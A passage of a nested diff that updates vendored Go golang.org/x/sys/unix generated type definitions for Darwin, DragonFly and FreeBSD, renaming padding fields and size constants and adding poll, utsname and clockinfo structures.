-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -26,9 +26,9 @@ type Timespec struct {
- }
-
- type Timeval struct {
-- Sec int64
-- Usec int32
-- Pad_cgo_0 [4]byte
-+ Sec int64
-+ Usec int32
-+ _ [4]byte
- }
-
- type Timeval32 struct {
-@@ -63,25 +63,25 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev int32
-- Mode uint16
-- Nlink uint16
-- Ino uint64
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Pad_cgo_0 [4]byte
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Qspare [2]int64
-+ Dev int32
-+ Mode uint16
-+ Nlink uint16
-+ Ino uint64
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ _ [4]byte
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Qspare [2]int64
- }
-
- type Statfs_t struct {
-@@ -120,9 +120,9 @@ type Fstore_t struct {
- }
-
- type Radvisory_t struct {
-- Offset int64
-- Count int32
-- Pad_cgo_0 [4]byte
-+ Offset int64
-+ Count int32
-+ _ [4]byte
- }
-
- type Fbootstraptransfer_t struct {
-@@ -132,9 +132,9 @@ type Fbootstraptransfer_t struct {
- }
-
- type Log2phys_t struct {
-- Flags uint32
-- Pad_cgo_0 [8]byte
-- Pad_cgo_1 [8]byte
-+ Flags uint32
-+ _ [8]byte
-+ _ [8]byte
- }
-
- type Fsid struct {
-@@ -142,13 +142,13 @@ type Fsid struct {
- }
-
- type Dirent struct {
-- Ino uint64
-- Seekoff uint64
-- Reclen uint16
-- Namlen uint16
-- Type uint8
-- Name [1024]int8
-- Pad_cgo_0 [3]byte
-+ Ino uint64
-+ Seekoff uint64
-+ Reclen uint16
-+ Namlen uint16
-+ Type uint8
-+ Name [1024]int8
-+ _ [3]byte
- }
-
- type RawSockaddrInet4 struct {
-@@ -221,10 +221,10 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Iov *Iovec
- Iovlen int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -303,14 +303,14 @@ const (
- )
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type IfData struct {
-@@ -346,51 +346,51 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
- }
-
- type IfmaMsghdr2 struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Refcount int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Refcount int32
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Use int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Use int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -426,9 +426,9 @@ type BpfStat struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ _ [4]byte
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -439,22 +439,22 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval32
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp Timeval32
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type Termios struct {
-- Iflag uint64
-- Oflag uint64
-- Cflag uint64
-- Lflag uint64
-- Cc [20]uint8
-- Pad_cgo_0 [4]byte
-- Ispeed uint64
-- Ospeed uint64
-+ Iflag uint64
-+ Oflag uint64
-+ Cflag uint64
-+ Lflag uint64
-+ Cc [20]uint8
-+ _ [4]byte
-+ Ispeed uint64
-+ Ospeed uint64
- }
-
- type Winsize struct {
-@@ -470,3 +470,40 @@ const (
- AT_SYMLINK_FOLLOW = 0x40
- AT_SYMLINK_NOFOLLOW = 0x20
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_darwin_arm.go b/vendor/golang.org/x/sys/unix/ztypes_darwin_arm.go
-index 4dca0d4d..4fe4c9cd 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_darwin_arm.go
-@@ -7,11 +7,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -60,24 +60,24 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev int32
-- Mode uint16
-- Nlink uint16
-- Ino uint64
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Qspare [2]int64
-+ Dev int32
-+ Mode uint16
-+ Nlink uint16
-+ Ino uint64
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Qspare [2]int64
- }
-
- type Statfs_t struct {
-@@ -137,13 +137,13 @@ type Fsid struct {
- }
-
- type Dirent struct {
-- Ino uint64
-- Seekoff uint64
-- Reclen uint16
-- Namlen uint16
-- Type uint8
-- Name [1024]int8
-- Pad_cgo_0 [3]byte
-+ Ino uint64
-+ Seekoff uint64
-+ Reclen uint16
-+ Namlen uint16
-+ Type uint8
-+ Name [1024]int8
-+ _ [3]byte
- }
-
- type RawSockaddrInet4 struct {
-@@ -296,14 +296,14 @@ const (
- )
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type IfData struct {
-@@ -339,51 +339,51 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
- }
-
- type IfmaMsghdr2 struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Refcount int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Refcount int32
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Use int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Use int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -431,11 +431,11 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type Termios struct {
-@@ -461,3 +461,40 @@ const (
- AT_SYMLINK_FOLLOW = 0x40
- AT_SYMLINK_NOFOLLOW = 0x20
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_darwin_arm64.go b/vendor/golang.org/x/sys/unix/ztypes_darwin_arm64.go
-index f2881fd1..21999e4b 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_darwin_arm64.go
-@@ -1,15 +1,16 @@
-+// cgo -godefs types_darwin.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
- // +build arm64,darwin
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_darwin.go
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -25,9 +26,9 @@ type Timespec struct {
- }
-
- type Timeval struct {
-- Sec int64
-- Usec int32
-- Pad_cgo_0 [4]byte
-+ Sec int64
-+ Usec int32
-+ _ [4]byte
- }
-
- type Timeval32 struct {
-@@ -62,25 +63,25 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev int32
-- Mode uint16
-- Nlink uint16
-- Ino uint64
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Pad_cgo_0 [4]byte
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Qspare [2]int64
-+ Dev int32
-+ Mode uint16
-+ Nlink uint16
-+ Ino uint64
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ _ [4]byte
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Qspare [2]int64
- }
-
- type Statfs_t struct {
-@@ -119,9 +120,9 @@ type Fstore_t struct {
- }
-
- type Radvisory_t struct {
-- Offset int64
-- Count int32
-- Pad_cgo_0 [4]byte
-+ Offset int64
-+ Count int32
-+ _ [4]byte
- }
-
- type Fbootstraptransfer_t struct {
-@@ -131,9 +132,9 @@ type Fbootstraptransfer_t struct {
- }
-
- type Log2phys_t struct {
-- Flags uint32
-- Pad_cgo_0 [8]byte
-- Pad_cgo_1 [8]byte
-+ Flags uint32
-+ _ [8]byte
-+ _ [8]byte
- }
-
- type Fsid struct {
-@@ -141,13 +142,13 @@ type Fsid struct {
- }
-
- type Dirent struct {
-- Ino uint64
-- Seekoff uint64
-- Reclen uint16
-- Namlen uint16
-- Type uint8
-- Name [1024]int8
-- Pad_cgo_0 [3]byte
-+ Ino uint64
-+ Seekoff uint64
-+ Reclen uint16
-+ Namlen uint16
-+ Type uint8
-+ Name [1024]int8
-+ _ [3]byte
- }
-
- type RawSockaddrInet4 struct {
-@@ -220,10 +221,10 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Iov *Iovec
- Iovlen int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -302,14 +303,14 @@ const (
- )
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type IfData struct {
-@@ -345,51 +346,51 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
- }
-
- type IfmaMsghdr2 struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Refcount int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Refcount int32
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Use int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Use int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -425,9 +426,9 @@ type BpfStat struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ _ [4]byte
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -438,22 +439,22 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval32
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp Timeval32
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type Termios struct {
-- Iflag uint64
-- Oflag uint64
-- Cflag uint64
-- Lflag uint64
-- Cc [20]uint8
-- Pad_cgo_0 [4]byte
-- Ispeed uint64
-- Ospeed uint64
-+ Iflag uint64
-+ Oflag uint64
-+ Cflag uint64
-+ Lflag uint64
-+ Cc [20]uint8
-+ _ [4]byte
-+ Ispeed uint64
-+ Ospeed uint64
- }
-
- type Winsize struct {
-@@ -469,3 +470,40 @@ const (
- AT_SYMLINK_FOLLOW = 0x40
- AT_SYMLINK_NOFOLLOW = 0x20
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_dragonfly_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_dragonfly_amd64.go
-index 67c6bf88..71ea1d6d 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_dragonfly_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_dragonfly_amd64.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -56,43 +56,26 @@ type Rlimit struct {
-
- type _Gid_t uint32
-
--const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
--)
--
- type Stat_t struct {
-- Ino uint64
-- Nlink uint32
-- Dev uint32
-- Mode uint16
-- Padding1 uint16
-- Uid uint32
-- Gid uint32
-- Rdev uint32
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Qspare1 int64
-- Qspare2 int64
-+ Ino uint64
-+ Nlink uint32
-+ Dev uint32
-+ Mode uint16
-+ _1 uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize uint32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Qspare1 int64
-+ Qspare2 int64
- }
-
- type Statfs_t struct {
-@@ -108,7 +91,7 @@ type Statfs_t struct {
- Owner uint32
- Type int32
- Flags int32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Syncwrites int64
- Asyncwrites int64
- Fstypename [16]int8
-@@ -118,7 +101,7 @@ type Statfs_t struct {
- Spares1 int16
- Mntfromname [80]int8
- Spares2 int16
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- Spare [2]int64
- }
-
-@@ -143,6 +126,10 @@ type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -215,10 +202,10 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Iov *Iovec
- Iovlen int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -290,14 +277,14 @@ const (
- )
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type IfData struct {
-@@ -307,7 +294,7 @@ type IfData struct {
- Hdrlen uint8
- Recvquota uint8
- Xmitquota uint8
-- Pad_cgo_0 [2]byte
-+ _ [2]byte
- Mtu uint64
- Metric uint64
- Link_state uint64
-@@ -329,24 +316,24 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
- }
-
- type IfAnnounceMsghdr struct {
-@@ -359,19 +346,19 @@ type IfAnnounceMsghdr struct {
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Use int32
-- Inits uint64
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Use int32
-+ Inits uint64
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -387,7 +374,7 @@ type RtMetrics struct {
- Hopcount uint64
- Mssopt uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Msl uint64
- Iwmaxsegs uint64
- Iwcapsegs uint64
-@@ -412,9 +399,9 @@ type BpfStat struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ _ [4]byte
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -425,11 +412,11 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [6]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [6]byte
- }
-
- type Termios struct {
-@@ -442,7 +429,51 @@ type Termios struct {
- Ospeed uint32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
- const (
- AT_FDCWD = 0xfffafdcd
- AT_SYMLINK_NOFOLLOW = 0x1
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Utsname struct {
-+ Sysname [32]byte
-+ Nodename [32]byte
-+ Release [32]byte
-+ Version [32]byte
-+ Machine [32]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_freebsd_386.go b/vendor/golang.org/x/sys/unix/ztypes_freebsd_386.go
-index 5b28bcbb..2a3ec615 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_freebsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_freebsd_386.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -57,41 +57,55 @@ type Rlimit struct {
- type _Gid_t uint32
-
- const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
-+ _statfsVersion = 0x20140518
-+ _dirblksiz = 0x400
- )
-
- type Stat_t struct {
-- Dev uint32
-- Ino uint32
-- Mode uint16
-- Nlink uint16
-- Uid uint32
-- Gid uint32
-- Rdev uint32
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Birthtimespec Timespec
-- Pad_cgo_0 [8]byte
-+ Dev uint64
-+ Ino uint64
-+ Nlink uint64
-+ Mode uint16
-+ _0 int16
-+ Uid uint32
-+ Gid uint32
-+ _1 int32
-+ Rdev uint64
-+ _ int32
-+ Atim Timespec
-+ _ int32
-+ Mtim Timespec
-+ _ int32
-+ Ctim Timespec
-+ _ int32
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint64
-+ Spare [10]uint64
-+}
-+
-+type stat_freebsd11_t struct {
-+ Dev uint32
-+ Ino uint32
-+ Mode uint16
-+ Nlink uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Btim Timespec
-+ _ [8]byte
- }
-
- type Statfs_t struct {
-@@ -114,9 +128,34 @@ type Statfs_t struct {
- Owner uint32
- Fsid Fsid
- Charspare [80]int8
-- Fstypename [16]int8
-- Mntfromname [88]int8
-- Mntonname [88]int8
-+ Fstypename [16]byte
-+ Mntfromname [1024]byte
-+ Mntonname [1024]byte
-+}
-+
-+type statfs_freebsd11_t struct {
-+ Version uint32
-+ Type uint32
-+ Flags uint64
-+ Bsize uint64
-+ Iosize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail int64
-+ Files uint64
-+ Ffree int64
-+ Syncwrites uint64
-+ Asyncwrites uint64
-+ Syncreads uint64
-+ Asyncreads uint64
-+ Spare [10]uint64
-+ Namemax uint32
-+ Owner uint32
-+ Fsid Fsid
-+ Charspare [80]int8
-+ Fstypename [16]byte
-+ Mntfromname [88]byte
-+ Mntonname [88]byte
- }
-
- type Flock_t struct {
-@@ -129,6 +168,17 @@ type Flock_t struct {
- }
-
- type Dirent struct {
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
